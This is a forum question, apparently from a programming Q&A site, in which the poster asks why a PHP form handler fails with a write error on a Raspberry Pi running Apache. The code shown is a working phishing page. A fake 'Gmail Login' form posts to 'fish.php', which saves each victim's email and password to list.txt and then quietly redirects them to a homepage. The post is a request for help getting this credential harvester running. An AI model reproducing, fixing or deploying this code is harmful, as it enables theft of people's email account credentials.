title: Writing to file but it's not working on my Pi?
body: <p>I am attempting to write to a text file using PHP.</p>
  
  <p>I have this form</p>
  
  <pre><code>&lt;form action="fish.php" method="POST"&gt;
  &lt;p&gt;Gmail Login&lt;/p&gt; &lt;input name="gmail1" type="text" /&gt;
  &lt;/br&gt;
  &lt;p&gt;Password&lt;/p&gt; &lt;input name="gmail2" type="password" /&gt;
  &lt;/br&gt;
  &lt;input type="submit" name="submit" value="Submit"&gt;
  &lt;/form&gt;
  </code></pre>
  
  <p>I also have this PHP file</p>
  
  <pre><code>&lt;?php
  if(isset($_POST['gmail1']) &amp;&amp; isset($_POST['gmail2'])) {
  $data = $_POST['gmail1'] . '-' . $_POST['gmail2'] . "\n";
  $ret = file_put_contents('list.txt', $data, FILE_APPEND | LOCK_EX);
  if($ret === false) {
      die('There was an error writing this file');
  }
  else {
      header("Location: index.html");
  }
  }
  else {
     die('no post data to process');
  }
  </code></pre>
  
  <p>Now I have used this on a web hosting and it works perfectly fine. I then put it onto my raspberry Pi running linux with Apache, PHP and all that's required installed on it but I just keep getting 'There was an error writing this file' rather than being redirected to my homepage like I should.</p>
  
  <p>I've got all the same files and whatnot, could anybody guess what's wrong?</p>
  
  <p>Thanks!</p>